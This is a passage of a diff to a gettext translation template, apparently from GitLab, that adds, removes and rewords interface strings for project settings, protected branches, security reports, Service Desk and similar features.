-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
